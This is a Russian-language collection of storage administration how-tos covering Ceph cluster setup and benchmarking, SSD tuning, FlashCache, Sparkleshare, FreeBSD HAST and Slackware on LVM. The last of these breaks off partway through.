  • /dev/sdi это SSD OSD02 напомним, версия ФАЙЛОВАЯ и журналы на SSD без параметров, создаётся bluestore ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd01 ceph-deploy osd create --filestore --data /dev/sdh --journal /dev/sdi osd02
  • Убедимся что все верно ceph-deploy osd list osd01 ceph-deploy osd list osd02 клиент предупредил, что тестировать будет и нужно минимум 4 диска ну 4 так 4 проделал с остальными тоже самое в итоге 4 диска ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 352.22583 root default -7 176.11292 host osd01 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 -7 176.11292 host osd02 0 hdd 7.27739 osd.0 up 1.00000 1.00000 1 hdd 7.27739 osd.1 up 1.00000 1.00000 2 hdd 7.27739 osd.2 up 1.00000 1.00000 3 hdd 7.27739 osd.3 up 1.00000 1.00000 0 ssd 0.36389 osd.0 up 1.00000 1.00000 1 ssd 0.36389 osd.1 up 1.00000 1.00000 2 ssd 0.36389 osd.2 up 1.00000 1.00000 3 ssd 0.36389 osd.3 up 1.00000 1.00000 Видно что SSD нормально определился напомню, что проблема с правкой крушмапа осталась в версии до 12.x.x. далее подготовим pg ceph osd crush rule create-replicated hdd default host hdd ceph osd pool create hdd-rbd 512 ceph osd pool set hdd-rbd crush_rule hdd для тестов подойдёт и не забываем что на SSD у нас журналы и за ними надо следить !! подготовим для теста RBD rbd create --size 1T --image-feature layering,exclusive-lock --image hdd-rbd/test --image-feature именно такие так как будем использовать ядерный модуль, а с другими параметрами он не цепляется Дополним cat /etc/ceph/rbdmap hdd-rbd/test id=admin,keyring=/etc/ceph/ceph.client.admin.keyring и примонтируем rbdmap map проверим ls /dev/rbd/hdd-rbd/test /dev/rbd/hdd-rbd/test и появилось у нас новое устройство /dev/rbd0 померим hdparm -Tt /dev/rbd0 /dev/rbd0: Timing cached reads: 8226 MB in 2.00 seconds = 4122.93 MB/sec Timing buffered disk reads: 1636 MB in 3.00 seconds = 545.21 MB/sec dd if=/dev/zero of=/dev/rbd0 bs=1G count=1 oflag=direct 1+0 records in 1+0 records out 1073741824 bytes (1,1 GB, 1,0 GiB) copied, 10,0574 s, 107 MB/s попробуем, что скажет fio fio --name=writefile --size=1G --filesize=1G --filename=/dev/rbd0 --bs=1M --nrfiles=1 \ --direct=1 --sync=0 --randrepeat=0 --rw=write --refill_buffers --end_fsync=1 --iodepth=200 --ioengine=libaio writefile: (g=0): rw=write, bs=(R) 1024KiB-1024KiB, (W) 1024KiB- 1024KiB, (T) 1024KiB-1024KiB, ioengine=libaio, iodepth=200 fio-3.1 Starting 1 process Jobs: 1 (f=1): [W(1)][83.3%][r=0KiB/s,w=20.0MiB/s][r=0,w=20 IOPS][eta 00m:02s] writefile: (groupid=0, jobs=1): err= 0: pid=6404: Thu Aug 9 19:50:56 2018 write: IOPS=109, BW=110MiB/s (115MB/s)(1024MiB/9320msec) ну и случайное fio --time_based --name=benchmark --size=1G --runtime=30 --filename=/dev/rbd0 --ioengine=libaio \ --randrepeat=0 --iodepth=128 --direct=1 --invalidate=1 --verify=0 --verify_fatal=0 --numjobs=4 \ --rw=randwrite --blocksize=4k --group_reporting benchmark: (g=0): rw=randwrite, bs=(R) 4096B-4096B, (W) 4096B-4096B, (T) 4096B-4096B, ioengine=libaio, iodepth=128 ... fio-3.1 Starting 4 processes Jobs: 4 (f=4): [w(4)][100.0%][r=0KiB/s,w=80.2MiB/s][r=0,w=20.5k IOPS][eta 00m:00s] benchmark: (groupid=0, jobs=4): err= 0: pid=6411: Thu Aug 9 19:53:37 2018 write: IOPS=19.8k, BW=77.2MiB/s (80.9MB/s)(2315MiB/30006msec) slat (usec): min=4, max=199825, avg=193.15, stdev=1838.51 clat (msec): min=3, max=1348, avg=25.70, stdev=28.44 lat (msec): min=3, max=1349, avg=25.89, stdev=28.54 clat percentiles (msec): | 1.00th=[ 12], 5.00th=[ 14], 10.00th=[ 16], 20.00th=[ 17], | 30.00th=[ 19], 40.00th=[ 20], 50.00th=[ 21], 60.00th=[ 22], | 70.00th=[ 24], 80.00th=[ 26], 90.00th=[ 30], 95.00th=[ 41], | 99.00th=[ 155], 99.50th=[ 169], 99.90th=[ 363], 99.95th=[ 401], | 99.99th=[ 827] bw ( KiB/s): min= 4444, max=26995, per=25.07%, avg=19805.94, stdev=5061.73, samples=240 iops : min= 1111, max= 6748, avg=4951.28, stdev=1265.42, samples=240 lat (msec) : 4=0.01%, 10=0.30%, 20=44.53%, 50=51.12%, 100=1.34% lat (msec) : 250=2.50%, 500=0.18%, 750=0.01%, 1000=0.01%, 2000=0.01% cpu : usr=3.38%, sys=5.67%, ctx=75740, majf=0, minf=37 IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=0.1%, 32=0.1%, >=64=100.0% submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.1% issued rwt: total=0,592666,0, short=0,0,0, dropped=0,0,0 latency : target=0, window=0, percentile=100.00%, depth=128 Run status group 0 (all jobs): WRITE: bw=77.2MiB/s (80.9MB/s), 77.2MiB/s-77.2MiB/s (80.9MB/s-80.9MB/s), io=2315MiB (2428MB), run=30006-30006msec Disk stats (read/write): rbd0: ios=0/589859, merge=0/0, ticks=0/3725372, in_queue=3594988, util=100.00% также любезный Себастьян написал красивые вещи:
  • https://www.sebastien-han.fr/blog/2012/08/26/ceph-benchmarks/
  • https://www.sebastien-han.fr/blog/2013/10/03/quick-analysis-of-the-ceph-io-layer/ Кластер нужен на запись, поэтому основные тесты на запись. Остался доволен и отдал для теста заказчику Утром след дня заказчик заявил, что я неверно все сделал!!! ???????!!!!!! захожу и вижу cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_ERR 6 osds down 1 host (6 osds) down 5 scrub errors Possible data damage: 4 pgs inconsistent Degraded data redundancy: 2423/4847 objects degraded (50.000%), 2560 pgs degraded, 2560 pgs undersized clock skew detected on mon.mon03 1/3 mons down, quorum mon01,mon03 services: mon: 3 daemons, quorum mon01,mon03, out of quorum: mon02 mgr: mgr02(active), standbys: mgr03, mgr01 osd: 12 osds: 6 up, 12 in ceph health detail HEALTH_ERR 5 scrub errors; Possible data damage: 4 pgs inconsistent OSD_SCRUB_ERRORS 5 scrub errors PG_DAMAGED Possible data damage: 4 pgs inconsistent pg 1.14 is active+clean+inconsistent, acting [12,34] pg 1.27b is active+clean+inconsistent, acting [46,20] pg 1.683 is active+clean+inconsistent, acting [20,34] pg 1.728 is active+clean+inconsistent, acting [49,6] ну ладно попробуем восстановить root@ceph-deploy:~# ceph pg repair 1.728 instructing pg 1.728 on osd.4 to repair .................. instructing pg 1.14 on osd.2 to repair Тем временем задаю вопросы. Выяснилось, заказчик взял и переставил 2 ssd и 2 HDD с другого сервера, а затем отключил 1 OSD. Вспомнив, что на SSD журналы слал думать что можно сделать. Заодно спросил чем 3-й монитор не угодил? На что получил ответ, что все это для теста и нужно проверить все. Так похоже что FileStore мало подходит Пробуем с Blustore Blustore оказался более пригоден и более живуч для исправления ошибок написал скрипт cat /root/rep.sh #!/bin/sh /usr/bin/ceph health detail | grep active+clean+inconsistent | awk '{ print $2 }' | while read a; do /usr/bin/ceph pg repair $a ; done который стартую по крону */10 * * * * /root/rep.sh
  •  
    ----* Оптимизация работы на SSD-накопителе рабочей станции с Fedora Linux  (доп. ссылка 1)   [комментарии]
     
    Включаем для SSD-накопителя поддержку TRIM и отключаем обновление метаданных со
    временем доступа к файлу. Добавляем в список флагов /etc/fstab опции discard и noatime:
    
        /dev/mapper/fedora-root /      ext4    noatime,discard  1 1
        /dev/mapper/fedora-home /home  ext4    noatime,discard  1 2
    
    
    Организуем хранение содержимого временной директории в памяти, в /etc/fstab
    включаем tmpfs для /tmp:
    
        none /tmp     tmpfs nodev,nosuid,mode=1777 0 0
      
    По аналогии можно создать хранимый в памяти раздел и для логов. Содержимое
    логов будет сбрасываться при перезагрузке, но для десктоп-систем потеря логов,
    как правило, не критична.
    
        none /var/log tmpfs size=20m 0 0
    
    Отключаем кэширование страниц Firefox на диске. В  about:config  меняем
    содержимое переменной browser.cache.disk.enable на false и указываем приемлемый
    размер кэша в ОЗУ через переменную      browser.cache.memory.capacity (65536
    для 64 Мб).
    
     
    
    Включаем режим обратного кэширования записи для SSD-диска (дополнительно
    кэширование следует включить в BIOS ноутбука) и заменяем планировщик
    ввода/вывода на вариант, оптимизированный для Flash-памяти.
    
    Устанавливаем утилиту hdparm:
     
       sudo yum install hdparm
    
    Создаём файл /etc/rc.local и прописываем в него:
    
        #!/bin/sh
        hdparm -W1 /dev/sda
        echo noop > /sys/block/sdb/queue/scheduler
    
    где, /dev/sda - SSD-накопитель. 
    
       sudo chmod +x /etc/rc.local
    
    Активируем сервис для запуска /etc/rc.local в systemd:
    
       systemctl enable rc-local.service
    
     
    ----* Перенос данных через loop-диск, физически занимающий не больше размера скопированных данных (доп. ссылка 1)   Автор: Паша  [комментарии]
     
    У меня на роутере с линуксом висят 3 флешки, объединенные в один длинный диск
    через линейный программный RAID. Возникла необходимость заменить одну из этих
    флешек, ничего умнее не придумал, как на ноутбуке скопировать всю информацию из
    старого массива в новый, через диск внутри файла, подключенный как loop device.
    
    Но мне было лениво создавать loop-диск в 30 ГБ, поскольку это долго - скорость
    записи на диск не большая, а 30 ГБ это много. Поискал информацию про диски
    размером в одну дырку, и вот нашел вот этот чудесный пост.
    
    У меня стоит ubuntu 12.04, через консоль перешел на диск от Windows 7 с ntfs:
    
       cd /media/Data
    
    Создаем диск в 30ГБ размером в одну дырку
    
       dd if=/dev/zero of=disk.image bs=1M seek=30000 count=1
    
    Проверьте сейчас сколько он у вас занимает, через 
    
       du -h disk.image
    
    Форматируем диск:
    
       losetup /dev/loop0 disk.image
       mke2fs /dev/loop0
    
    После предыдущего шага "du -h disk.image" показал у меня 460 МБ
    
    Монтируем и заливаем на диск информацию - и файл с диском растет на разделе
    в процессе загрузки данных
    
       mount /dev/loop0 /mnt/where/you/need
    
     
    ----* Использование Google Drive в Linux   [комментарии]
     
    Как известно, компания Google пока не выпустила официального клиента Google
    Drive для платформы Linux, но подтвердила, что работает над его созданием.
    Не дожидаясь выхода Linux-клиента от Google энтузиастами было создано несколько
    независимых открытых проектов для работы с данным сервисом хранения, используя
    публично доступную спецификацию по API для работы с Google Drive.
    
    Среди такие проектов:
    
    Grive - написанный на С++ клиент для работы с Google Drive. Поддерживает две
    базовые операции: загрузка всех находящиеся в Google Drive файлов в текущую
    локальную директорию и сохранение в Google Drive изменённых данных из локальной
    директории. В настоящий момент (версия 0.0.3) программа поддерживает только
    обратную синхронизацию изменений, новые файлы в Google Drive она загружать пока
    не может. Готовые пакеты сформированы для Debian Testing и Fedora Linux. При
    первом запуске утилиту следует запустить с опцией "-a", затем открыть указанные
    URL и скопировать код аутентификции в приглашение программы, после этого будет
    создана директория .grive и начнётся загрузка данных.
    
    google-docs-fs - написанная на языке Python реализация FUSE-модуля для
    монтирования  Google Docs (будет работать и для Google Drive) в качестве
    локальной файловой системы. К сожалению автор прекратил развитие проекта, но
    успел выпустить кандидат в релизы. Модуль поддерживает все базовые операции, по
    чтению и записи данных, позволяет создавать директории. Готовые пакеты доступны для
    Ubuntu и Arch Linux. Для
    монтирования директории после установки следует запустить "gmount
    локальная_директория адрес@gmail.com", для размонтирования - "gumount локальная_директория".
    
    gdocsfs - FUSE-модуль для Google Docs, написанный на Java.
    
    fuse-google-drive - FUSE-модуль для монтирования содержимого Google Drive в
    качестве локальной файловой системы. Проект написан на языке Си. В настоящее
    время проект находится на начальной стадии развития и позволяет только
    просматривать список файлов, размещённых в Google Drive.
    
    google-drive-utils - попытка написать на Python набор утилит для работы с
    Google Drive, создаваемых по аналогии с GNU Coreutils (ls, cat, cp, mv и т.п.).
    Проект пока находится на стадии формирования начального тестового прототипа и
    ещё не пригоден к использованию.
    
     
    ----* Использование FlashCache для кэширования обращений к диску на высокоскоростном SSD-накопителе (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Весной 2010 года компания Facebook открыла код проекта FlashCache,
    представляющего собой модуль для ядра Linux, позволяющий заметно ускорить
    работу MySQL и других интенсивно работающих с диском приложений. Увеличение
    производительности достигается за счет организации процесса прозрачного
    кэширования наиболее активно используемых данных на быстрых SSD-накопителях.
    
    С точки зрения организации работы ничего не меняется, добавляется новое блочное
    устройство, которое при чтении выдает данные из быстрого кэша, а при записи
    дублирует их в кэше и на диске, обеспечивая прежний уровень надежности.
    Поддерживается также менее надежный режим увеличения скорости записи, при
    котором сначала осуществляется запись на хранилище SSD, а затем в фоне
    производится  синхронизация данных на обычное хранилище. Поддерживаются функции
    зеркалирования кэша на несколько SSD-накопителей и  задействование команды ATA
    TRIM для более оптимального распределения данных по SSD.
    
    
    Установка.
    
    Устанавливаем сопутствующие пакеты для Debian/Ubuntu:
    
       $ apt-get install git-core dkms build-essential linux-headers-`uname -r`
    
    
    Для CentOS/RHEL подключаем репозитории EPEL и репозиторий SRPMS.
    Устанавливаем необходимые пакеты:
    
       $ yum install dkms gcc make yum-utils kernel-devel
    
    Так как для сборки FlashCache требуются некоторые внутренние заголовочные
    файлы, которые не входят в состав пакета kernel-headers/devel требуется
    загрузить и установить полный код ядра:
    
       $ yumdownloader --source kernel-`uname -r`
       $ sudo rpm -ivh kernel-`uname -r`.src.rpm
    
    Загружаем исходные тексты FlashCache:
    
       $ git clone https://github.com/facebook/flashcache.git
    
    Работа FlashCache протестирована с ядрами Linux с 2.6.18 по 2.6.38, для более
    новых ядер могут наблюдаться проблемы.
    
    Собираем модуль с использованием DKMS (Dynamic Kernel Module Support):
    
       $ cd flashcache
       $ sudo make -f Makefile.dkms
    
       install -o root -g root -m 0755 -d /var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source
       rsync -r src/ /var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source/
       sed "s/PACKAGE_VERSION=/PACKAGE_VERSION=1.0-101-g4bceda86d13d/" src/dkms.conf > "/var/lib/dkms/flashcache/1.0-101-g4bceda86d13d/source/dkms.conf"
       dkms build -m flashcache -v 1.0-101-g4bceda86d13d
    
       Kernel preparation unnecessary for this kernel.  Skipping...
    
       Building module:
       cleaning build area....
       KERNEL_TREE=/lib/modules/2.6.32-33-generic/build make modules.......
       cleaning build area....
    
       DKMS: build Completed.
       make -C src/utils install
       ...
       install -d -m 755 /sbin/
       install -m 755 flashcache_create flashcache_destroy  flashcache_load /sbin/
       make[1]: Выход из каталога `/home2/home/mc/soft/flashcache/flashcache/src/utils'
       dkms install -m flashcache -v 1.0-101-g4bceda86d13d
    
       flashcache.ko:
       Running module version sanity check.
        - Original module
          - No original module exists within this kernel
        - Installation
          - Installing to /lib/modules/2.6.32-33-generic/updates/dkms/
    
       depmod.........
    
       Updating initrd
       Making new initrd as /boot/initrd.img-2.6.32-33-generic
       (If next boot fails, revert to the .bak initrd image)
       update-initramfs....
    
    все, теперь модуль flashcache.ko установлен и готов к использованию.
    
    
    Режимы кэширования
    
    Поддерживается три режима кэширования:
    
    Writethrough - самый надежный режим, при котором все операции записи сразу
    переносятся на диск и сохраняются на SSD. Кэшируются только операции записи.
    При перезагрузке или при отключении накопителя содержимое кэша не теряется и
    может быть использовано сразу, без траты дополнительного времени на его заполнение.
    
    Writearound - надежный режим, при котором данные при выполнении операции записи
    сохраняются только на диск и не отражаются на SSD. Кэш на SSD-накопителе
    обновляется только на основании выполнения операций чтения с диска (кэшируются
    только операции чтения). Режим подходит в ситуации, когда запись на диск
    производится быстрее, чем на SSD. После перезагрузки или отключения накопителя
    кэш начинает заполняться с нуля.
    
    Writeback - наиболее быстрый, но менее надежный режим. Данные вначале
    записываются на SSD, а потом в фоне перекидываются на диск. Кэшируются как
    операции записи, так и чтения. При экстренном отключении питания не исключено
    пропадание не синхронизированных на диск данных.
    
    
    
    Использование
    
    Для управления FlashCache подготовлены три утилиты:
    
    flashcache_create - создание нового дискового раздела с кэшированием;
    
    flashcache_load - подключение ранее созданного раздела с кэшем в режиме  writeback;
    
    flashcache_destroy - очистка содержимого кэша, созданного в режиме  writeback.
    
    Для режимов writethrough и writebehind утилиты flashcache_load и
    flashcache_destroy не требуются, так как кэш очищается при переподключении раздела.
    
    
    Предположим, что в системе имеется жесткий диск /dev/sdb и быстрый
    SSD-накопитель /dev/sdc. Для организации кэширования в режиме writeback, с
    размером блока 4 Кб и общим размером кэша 1 Гб следует выполнить:
    
       flashcache_create -p writeback -s 1g -b 4k cachedev /dev/sdc /dev/sdb
    
    После выполнения этой команды будет создано виртуальное блочное устройство с
    именем "cachedev", при монтировании раздела через которое будет автоматически
    использовано кэширование.
    
    Для загрузки прошлого содержимого кэши или очистки кэша в режиме writeback можно выполнить команды:
    
       flashcache_load /dev/sdc
       flashcache_destroy /dev/sdc
    
    Для удаления и просмотра статистики для уже созданных виртуальных блочных
    устройств следует использовать утилиту dmsetup.
    
    Удаляем устройство cachedev:
    
       dmsetup remove cachedev
    
    Смотрим статистику:
    
       dmsetup status cachedev
       dmsetup table cachedev
    
    или 
    
       cat /proc/flashcache/cachedev/flashcache_errors
       cat /proc/flashcache/cachedev/flashcache_stats
    
    Для тонкого управления режимами кэширования поддерживается большое число
    специальных sysctl-вызовов, описание которых можно найти в документации.
    
     
    ----* Организация файлового хранилища на базе Git-репозитория при помощи Sparkleshare (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Sparkleshare развивается свободный движок для организации
    похожих на Dropbox online-хранилищ, непосредственное хранение данных в которых
    осуществляется в любом Git-репозитории. Использование Git позволяет
    задействовать элементы версионного контроля для отслеживания изменений в
    файлах, давая возможность отследить все изменения и при необходимости вернуться
    к состоянию определенного файла в прошлом.
    
    С технической стороны SparkleShare является Git-клиентом, оптимизированным для
    хранения и обмена файлами. Программа может использоваться не только для
    хранения своих файлов, но и для организации обмена файлами с другими людьми или
    для обеспечения синхронизации данных между домашним и рабочим ПК. SparkleShare
    поддерживает шифрование хранимых данных, что позволяет использовать публичные
    Git-репозитории не опасаясь возможной утечки информации. Например, можно
    использовать Git-репозитории в публичных сервисах Gitorious и GitHub.
    
    Рассмотрим процесс развертывания Sparkleshare-хранилища под управлением Fedora
    Linux с целью организации доступного дома и на работе хранилища. Для
    организации рабочего процесса создадим в домашней директории каталог
    Sparkleshare, в котором будем создавать подкаталоги, соответствующие текущим
    проектам. В качестве первичного хранилища будет использовать Git-репозиторий на
    собственном сервере, доступ к которому организован через SSH. Одновременно
    настроим на сервере доступность сохраняемых файлов через web, разместив клон
    репозитория в директории ~/public_html.
    
    
    Установка Sparkleshare на локальной клиентской машине.
    
    Добавляем соответствующий YUM-репозиторий, в котором содержатся готовые пакеты с Sparkleshare:
    
        cd /etc/yum.repos.d
        sudo curl -O http://repos.fedorapeople.org/repos/alexh/sparkleshare/fedora-sparkleshare.repo
    
    Устанавливаем Sparkleshare 
    
        sudo yum install -y sparkleshare ssh-askpass
    
    Удаляем пакет nautilus-python, так как иначе при работе Sparkleshare наблюдается крах Nautilus.
    
        sudo yum remove -y nautilus-python
    
    PS. Пользователи Ubuntu могут загрузить  Sparkleshare из PPA-репозитория:
    
       sudo add-apt-repository ppa:pdffs/sparkleshare
       sudo apt-get update
       sudp apt-get install sparkleshare
    
    Настройка Git-репозитория
    
    Создаем Git-репозиторий на внешнем сервере, который будет использован в
    качестве первичного хранилища:
    
       git init --bare repo.git
    
    Для работы на сервере должны быть установлены пакеты с git и openssh-server.
    
    Проводим первичное клонирование репозитория в директорию ~/public_html, чтобы
    файлы были доступны через web:
    
       cd ~/public_html
       git clone repo.git
       cd repo
    
    Создаем тестовый файл:
    
       echo 'Fedora 15 rocks!' >> test.txt
    
    Добавляем файл в Git и принимаем изменения.
    
       git add test.txt
       git commit test.txt -m 'initial commit2'
    
    Создаем начальную ветку:
     
       git push origin master
    
    
    
    Подключаем свои локальные машины к репозиторию
    
    На локальной рабочей машине останавливаем рабочий процесс Sparkleshare и
    клонируем созданный на прошлом шаге репозиторий
    
       sparkleshare stop
    
       cd ~/SparkleShare
       git clone логин@хост:/home/логин/repo.git
    
    Проверяем содержимое:
    
       cd ~/SparkleShare/repo
       ls
    
    Меняем содержимое тестового файла
    
       echo 'Pandas rule.' >> test.txt; 
    
    Применяем изменения:
    
       git commit -a -m 'panda PSA'
       git push
    
    
    На удаленном сервере, где создан базовый Git-репозиторий принимаем изменения:
    
       cd ~/public_html/repo
       git pull
    
    Проверяем, изменилось ли содержимое test.txt:
    
       cat test.txt
    
    Если все работает нормально, то запускаем на локальной машине Sparkleshare
    которые возьмет в свои руки выполнение рутинных операций по отслеживанию
    изменений и синхронизации данных на внешний сервер.
    
       sparkleshare start
    
    Настраиваем автозапуск Sparkleshare в GNOME:
    
       cp /usr/share/applications/sparkleshare.desktop ~/.config/autostart
    
    Заходим в директорию с репозиторием SparkleShare
    
       cd ~/SparkleShare/repo
    
    и создаем там новый тестовый файл:
    
       echo '42' >> theanswer.txt
    
    На удаленном сервере клонируем репозиторий и убеждаемся, что новый файл
    автоматически был помещен в Git:
    
        cd ~/public_html/repo
        git pull
        ls
    
    Все работает.
    
    
    Создаем автоматически обновляемое зеркало для просмотра репозитория из web.
    
    Настроим автоматическое клонирование репозитория удаленном сервере, с которого
    будет осуществлена раздача файлов через Web. Для работы нам понадобиться
    настроить удаленный вход со второй машины на первую по SSH по ключам, без ввода
    пароля. Инструкцию по настройке можно найти здесь.
    
    На удаленном сервере переходим в базовую директорию с Git-репозиторием (не клоном)
    
        cd ~/git.repo/hooks
    
    Добавляем скрипт, который будет срабатывать при добавлении файлов в
    репозиторий. В этом скрипте автоматически будет выполнять локальное
    клонирование репозитория для его видимости в web.
    
    Создадим скрипт post-receive в директории ~/git.repo/hooks (не забудьте
    подставить реальное значение вместо "логин"):
    
       #!/bin/sh
    
       while read oldrev newrev refname
       do
          true
       done
       cd /home/user/public_html/repo
       GIT_DIR=/home/логин/public_html/repo/.git git pull
    
    Проверим, создав на локальной системе третий тестовый файл:
    
       cd ~/SparkleShare/repo
       echo 'Fedora 15' >> latestfedora.txt
    
    
    Переходим на удаленном сервере в директорию с клоном репозитория для web и
    проверяем появился ли новый файл:
    
       cd ~/public_html/repo
       ls
    
    Подсказки по настройке работы Sparkleshare c Github и Gitorious можно найти на
    странице http://sparkleshare.org/help/
    
     
    ----* Создание отказоустойчивых хранилищ во FreeBSD, при помощи HAST (доп. ссылка 1)   Автор: mef  [комментарии]
     
    Введение.
    
    HAST (Highly Avalible Storage) технология позволяющая создавать
    отказоустойчивые хранилища (Primary-Secondary) используя несколько машин. Эта
    технология может помочь при создании кластера высокой доступности (HA). HAST
    появился в FreeBSD начиная с 8.1. В текущей версии HAST можно использовать
    только две машины. HAST работает на уровне блоков и не зависит от файловой
    системы, т.е. можно использовать ZFS или UFS.
    
    Эта технология работает по TCP. Для работы используется демон hastd и утилита
    для управления hastctl.
    
    Использование.
    
    Имеем две машины (ноды)
       host1 192.168.1.2
       host2 192.168.1.9
    
    на обоих машинах стоит дополнительный диск ad3.
    HAST готов к использованию сразу, без дополнительных установок. Для
    конфигурирования создадим файл /etc/hast.conf
    
       resource my {
           on host1 {
                   local /dev/ad3
                   remote 192.168.1.9
           }
           on host2 {
                   local /dev/ad3
                   remote 192.168.1.2
           }
       }
    
    т.е. host1 имеет диск ad3 и синхронизируется с 192.168.1.9 (host2), а для host2
    соответственно наоборот.
    
    Сделайте такой же файл на другой машине.
    
       host1# hastctl create my
       host1# hastd
    
    После этого демон должен запустится, проверим, что все работает
    
       host1# hastctl status
    
    должно выдать вроде этого
    
       my:
       role: init
       provname: my
       localpath: /dev/ad3
       extentsize: 0
       keepdirty: 0
       remoteaddr: 192.168.1.2
       replication: memsync
       dirty: 0 bytes [/CODE]
    
    Сделаем такие же действия на другой ноде
    
       host2# hastctl create my
       host2# hastd [/CODE]
    
    Теперь раздадим роли машинам. Например, host1 будет главным, а host2 - резервным.
    
       host1# hastctl role primary my
       host2# hastctl role secondary my
    
    После того, как host2 стал secondary, должна начаться синхронизация. В первый
    раз она не должна занять много времени.
    Проверим, что все работает.
    
       host1# hastctl status
       my:
        role: primary
        provname: my
        localpath: /dev/ad3
        extentsize: 2097152
        keepdirty: 0
        remoteaddr: 192.168.1.9
        replication: memsync
        status: complete
        dirty: 0 bytes
    
    Для нас важно, чтобы был статус complete. Если статус другой, проверяем, что не так.
    
    Теперь создадим файловую систему. Не смотря на то что можно использовать UFS
    лучше использовать ZFS, чтобы не приходилось запускать fsck.
    
    Создадим пул используя появившееся устройство /dev/hast/my
    
       host1# zpool create mydisk /dev/hast/my
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G  84.5K    95G     0%  ONLINE  -
    
    На второй машине этого делать не надо.
    HAST настроен.
    
    Тестирование.
    
    Создадим несколько файлов в mydisk и протестируем нашу систему. Для
    тестирования перезагрузим ноду с primary, т.е. host1.
    После перезагрузки посмотрим состяние пула
    
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    -               -             -         -       FAULTED          -
    
    Это случилось потому что пропало устройство /dev/hast/my Экспортируем пул и
    поменяем роль host1 на secondary
    
       host1# zpool export -f my
       host1# hastctl role secondary my
    
    А host2 сделаем основным и импортируем пул.
    
       host2# hastctl role primary my
       host2# zpool import -f mydisk
       host2# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G    84.5K    95G     0%    ONLINE          -
    
    Проверим наши файлы, они должны остаться.
    
    Ошибки.
    
    По умолчанию логи можно посмотреть в /var/log/message.
    В результате некоторых действий можно добиться ситуации, когда вы обнаружите в
    логах запись Split brain - разделение сознания.
    
    Это означает, что каждая из нод думает, что она главная и живет собственной
    жизнью. Такое может произойти если вы умудритесь
    записать разную информацию на нодах или поставить обои машины в роль primary.
    Исправить эту ситуацию можно выбрав ту машину которая будет у вас secondary, и
    нужно сделать на ней:
    
       hastctl role init my
       hastctl create my
       hastctl role secondary my
    
    После этого должен запуститься процесс синхронизации. Он может занять продолжительное время.
    
    
    Автоматизация.
    
    Эта система сделана для кластеризации, а именно для кластера высокой
    доступности. Например можно воспользоваться CARP
    чтобы сделать постоянным. Можно написать собственные скрипты, а можно
    воспользоваться стандартными. Автором HAST уже написаны готовые скрипты которые
    умеют определять на какой ноде сейчас primary.
    
    Для работы следует установить ucarp:
    
       cd /usr/ports/net/ucarp
       make && make install clean && rehash
    
    Скрипты находятся в /usr/share/expamles/hast/
    Скопируйте их в /домашний каталог/sbin/hastd/ так предлагается по умолчанию и
    отредактируйте переменные в начале скриптов
    
       ucarp.sh, ucarp_down.sh, ucarp_up.sh
    
    Сделайте это на обоих нодах и запустите ucarp.sh на обоих нодах.
    
    Дополнительные возможности.
    
    У HAST существует три типа репликаций. Они различаются тем когда данные считаются записанными.
    
    * memsync - Данные операции записи считаются завершенными когда запись локальна завершена 
    и когда удаленный узел принял данные, но до того как записать данные. Данные на
    удаленной ноде начинают
    писаться, как только отправлен ответ.
    
    * fullsync - Данные операции записи считаются завершенными когда запись завершена локально и на 
    удаленной ноде запись тоже завершена.
    
    * async - Данные записи считаются завершенными когда запись завершена локально.
    Это наиболее быстрый способ записи.
    
    На момент написания статьи работает только memsync.
    Дополнительную информацию можно прочитать на http://wiki.freebsd.org/HAST
    
    Заключение.
    
    HAST только появился, у него богатые возможности для организации хранилища
    высокой доступности. В данный момент еще не все работает, но это хорошее начало
    для кластеризации на FreeBSD.
    
    Перед тем как работать с HAST в боевых условиях рекомендую потренироваться. У
    меня были ситуации, когда secondary не хотел брать данные с primary, было что
    неаккуратные движения приводили к "Split Brain". Данные, правда, потеряны не
    были, но много времени было потеряно на синхронизации.
    
     
    ----* Установка Slackware Linux на LVM   Автор: tux2002  [комментарии]
     
    Загрузимся с установочного диска Slackware 13.0
    
       fdisk -l
    
    Создадим на диске раздел LVM (тип 8e)
    Создадим группу томов lvm и логические тома для файловых систем root и home размером по 5GB:
    
       pvcreate /dev/sda1
       vgcreate lvm /dev/sda1
       lvcreate -L5G -n root lvm
       lvcreate -L5G -n home lvm
    
    Теперь можно запускать инсталлятор:
    
       setup
    
    Установку проводим стандартно.
    LILO устанавливаем в режиме simple.
    
    Если перезагрузить компьютер после установки системы, то ядро загрузится, но
    корневая файловая система не будет смонтирована, т.к. после загрузки ядра
    логические тома lvm ещё не активированы. Чтобы решить эту проблему нужно
    создать initrd и переустановить загрузчик.
    
       mount --bind /proc /mnt/proc
       mount --bind /dev /mnt/dev
       chroot /mnt
       cd /boot
       mkinitrd -c
    
    Теперь нужно немного изменить initrd
    
       cp /sbin/lvm.static /boot/initrd-tree/sbin/lvm
       ln -s lvm /boot/initrd-tree/sbin/vgscan
       ln -s lvm /boot/initrd-tree/sbin/vgchange
       echo "/dev/mapper/lvm-root" > initrd-tree/rootdev
       echo "ext4" > initrd-tree/rootfs (Тип файловой системы подставьте свой)
       mkinitrd
    
    Переустановим загрузчик.
    
       vi /etc/lilo.conf
    
    Секцию
    
       image = /boot/vmlinuz
           root = Linux
           label = Linux
           read-only
    
    приведем к виду
    
       image = /boot/vmlinuz
